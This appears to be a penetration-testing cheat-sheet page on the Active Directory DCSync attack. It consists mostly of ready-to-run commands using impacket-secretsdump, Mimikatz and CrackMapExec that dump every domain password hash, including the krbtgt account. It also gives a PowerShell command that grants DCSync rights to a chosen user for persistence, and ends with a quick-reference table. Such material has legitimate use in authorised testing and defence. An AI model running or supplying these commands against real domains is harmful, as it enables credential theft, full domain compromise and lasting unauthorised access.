> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# DCSync

> DCSync: replicate AD credentials using directory replication privileges to dump all domain hashes.

## Overview

Abuse `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All` privileges to replicate password data from DC. No need to run code on DC.

***

## Requirements

* Domain Admins, Enterprise Admins, or
* Account with replication rights (DCSync rights)

***

## Impacket — secretsdump

### Single User

```bash theme={"dark"}
impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-user administrator
impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-user krbtgt
```

### All Users

```bash theme={"dark"}
impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc
```

### With Hash (PtH)

```bash theme={"dark"}
impacket-secretsdump DOMAIN/admin@DC_IP -hashes :NTLM_HASH -just-dc
```

### NTDS Only (No SAM/LSA)

```bash theme={"dark"}
impacket-secretsdump DOMAIN/admin:password@DC_IP -just-dc-ntlm
```

***

## Mimikatz

```cmd theme={"dark"}
mimikatz # lsadump::dcsync /domain:domain.local /user:administrator
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
```

***

## CrackMapExec

```bash theme={"dark"}
crackmapexec smb DC_IP -u admin -p password --ntds
crackmapexec smb DC_IP -u admin -H HASH --ntds
crackmapexec smb DC_IP -u admin -p password --ntds --enabled        # Only enabled accounts
crackmapexec smb DC_IP -u admin -p password --ntds --user krbtgt     # A single account
```

***

## Check DCSync Rights

### PowerView

```powershell theme={"dark"}
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | ? {($_.ObjectType -match 'replication')}
```

### Manual

Look for these rights on domain object:

* `DS-Replication-Get-Changes` (GUID: 1131f6aa-...)
* `DS-Replication-Get-Changes-All` (GUID: 1131f6ad-...)

***

## Grant DCSync Rights (Persistence)

```powershell theme={"dark"}
Add-ObjectAcl -TargetDistinguishedName "DC=domain,DC=local" -PrincipalSamAccountName targetuser -Rights DCSync
```

***

## Quick Reference

| Task        | Command                                                 |
| ----------- | ------------------------------------------------------- |
| Single user | `secretsdump DOMAIN/admin:pass@DC -just-dc-user krbtgt` |
| All hashes  | `secretsdump DOMAIN/admin:pass@DC -just-dc`             |
| Mimikatz    | `lsadump::dcsync /domain:dom.local /user:admin`         |
| CME         | `crackmapexec smb DC -u admin -p pass --ntds`           |